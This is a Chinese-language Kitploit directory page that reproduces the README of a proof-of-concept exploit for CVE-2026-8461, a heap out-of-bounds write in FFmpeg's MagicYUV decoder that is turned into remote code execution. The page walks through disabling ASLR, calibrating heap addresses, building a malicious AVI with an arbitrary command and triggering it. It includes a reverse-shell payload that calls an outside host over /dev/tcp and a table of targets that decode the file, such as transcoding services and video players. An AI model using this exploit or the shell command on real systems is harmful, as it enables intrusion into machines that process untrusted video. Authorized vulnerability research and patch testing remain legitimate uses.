Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8461-EXP — 针对CVE-2026-8461的概念验证漏洞利用,这是FFmpeg的MagicYUV解码器中的堆越界写入,通过AVBuffer.free劫持实现远程代码执行。包括用于调试和生产构建的校准脚本。 | Kitploit
工具/GitHubGitHub/y5neko/cve-2026-8461-exp
漏洞分析漏洞利用CTF学习与教育Payload 开发二进制利用
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

针对CVE-2026-8461的概念验证漏洞利用,这是FFmpeg的MagicYUV解码器中的堆越界写入,通过AVBuffer.free劫持实现远程代码执行。包括用于调试和生产构建的校准脚本。

查看仓库
14232个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-8461 "PixelSmash" — FFmpeg MagicYUV 堆 OOB 写入 PoC

[!WARNING] 本仓库包含一个针对堆损坏漏洞的有效利用 PoC。 仅供授权的安全研究、CTF 环境和防御性分析使用。 请勿对非你拥有或未经明确书面许可的系统进行测试。

受影响: FFmpeg 8.0.1 MagicYUV 解码器 (libavcodec/magicyuv.c)
原语: 堆 OOB 写入 → AVBuffer.free 劫持 → system() 调用


漏洞

magy_decode_slice() 使用 sheight(未限制的切片高度)作为写入 Cb/Cr 输出平面的循环边界,但分配缓冲区时使用的是被限制的 height。在特制帧的最后一个切片上,循环写入了分配区域之外。

root@kitploit:~
// magicyuv.c:291 — dst 指针已位于缓冲区起始之后 sheight×stride 处
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // 当 sheight > height 时发生 OOB 写入

越界写入落在随后分配的 AVBuffer 结构体上。通过控制写入的字节,AVBuffer.free 被覆盖为 system() 的地址,AVBuffer.opaque 被覆盖为堆上命令字符串的地址。当帧被释放时,av_buffer_unref() 调用 system(cmd)。

完整技术分析:英文 · 中文


文件


要求

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR 关闭 — 校准需要)

Python 依赖:无(仅标准库)。


快速开始

步骤 0 — 关闭 ASLR

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

步骤 1 — 生成校准

调试构建(使用 -g 编译,例如从源码 --enable-debug):

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

发布构建(剥离符号的共享库,例如 apt install ffmpeg 或自定义 --enable-shared):

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

--avi 路径在校准和利用交付中必须一致。 更改路径字符串长度会改变堆布局并使校准失效。

步骤 2 — 生成利用 AVI

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

步骤 3 — 触发

root@kitploit:~
# 调试构建(静态链接)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# 发布构建(共享库)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# 系统安装的 FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

预期输出:命令执行,然后进程崩溃,显示 corrupted size vs. prev_size。

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

反向 Shell 示例

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

校准脚本决策流程

root@kitploit:~
目标 FFmpeg 二进制文件
    │
    ├─ 包含调试符号?(file ffmpeg | grep debug_info)
    │       └─ 是 → auto_calibrate.py
    │
    └─ 剥离符号 / 发布版本
            │
            ├─ 动态链接?(ldd ffmpeg | grep libavutil)
            │       └─ 是 → auto_calibrate_nosym.py
            │
            └─ 静态链接 + 完全剥离符号
                    └─ 两个脚本均不适用
                       (需要 LD_PRELOAD malloc 钩子方法)

auto_calibrate_nosym.py 的工作原理:

  1. 在 av_buffer_create 上设置断点(该函数始终存在于 libavutil.so .dynsym 中),从而捕获 Cb 和 Cr 数据指针,无需源代码级符号。
  2. 在 OOB 起始地址上设置 GDB 硬件写入监视点。
  3. 遍历生成的堆转储,定位 AVBuffer 结构体并提取 system() 地址。

触发条件

当目标解码视频帧(不仅仅是探测)时,利用会被触发:


基线 PoC(仅 OOB 写入,无 payload)

为了演示漏洞而不执行命令:

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# 崩溃信息:free(): invalid pointer  或  corrupted size vs. prev_size

范围与限制

  • 架构:仅在 x86_64 上开发和测试。该利用依赖于特定的堆布局,其中 AVBuffer 结构体落在 Cb 平面 OOB 起始地址的 640 字节范围内。在 aarch64 上,glibc 的分配顺序将 AVBuffer 放置在该范围之外(相邻块是约 10 KB 的 Cr 缓冲区),因此使用当前的帧几何结构,OOB 写入无法到达该缓冲区。移植到 aarch64 需要分析 aarch64 的堆布局并相应调整帧几何结构。
  • ASLR:必须关闭 (kernel.randomize_va_space=0)。启用 ASLR 后,堆地址每次运行都会随机化,校准不再适用。需要信息泄露原语才能将此利用扩展到启用 ASLR 的目标。
  • 校准范围:仅对特定机器上的特定二进制文件有效。不同的构建、不同的 libc 版本或不同的 AVI 路径长度需要重新校准。
  • AVI 路径:利用 AVI 必须通过校准时使用的相同绝对路径进行传递。
  • auto_calibrate_nosym.py:需要一个动态链接的 FFmpeg,且 libavutil.so 可访问(在系统路径中或通过 --libpath 指定)。
下载工具
文件描述
exploit_cve_2026_8461.py利用 AVI 生成器 — 构造恶意的 MagicYUV 比特流
auto_calibrate.py针对调试构建的自动校准(需要 -g 调试符号)
auto_calibrate_nosym.py针对发布构建(剥离符号、共享库)的自动校准
CVE-2026-8461_Analysis_EN.md完整的漏洞分析(英文)
CVE-2026-8461_Analysis.md完整的漏洞分析(中文)
ffmpeg_prod用于本地测试的剥离符号的发布版 FFmpeg 8.0.1 二进制文件
调用方式触发 RCE
ffmpeg -i evil.avi -f null -是
ffmpeg -i evil.avi -o out.mp4是
Web 转码服务 (libavcodec 解码循环)是
使用 libavcodec 的视频播放器是
ffmpeg -i evil.avi (未指定输出)否 — 进程在 av_buffer_unref 触发前终止
ffprobe evil.avi否 — 仅探测路径,不进行完整解码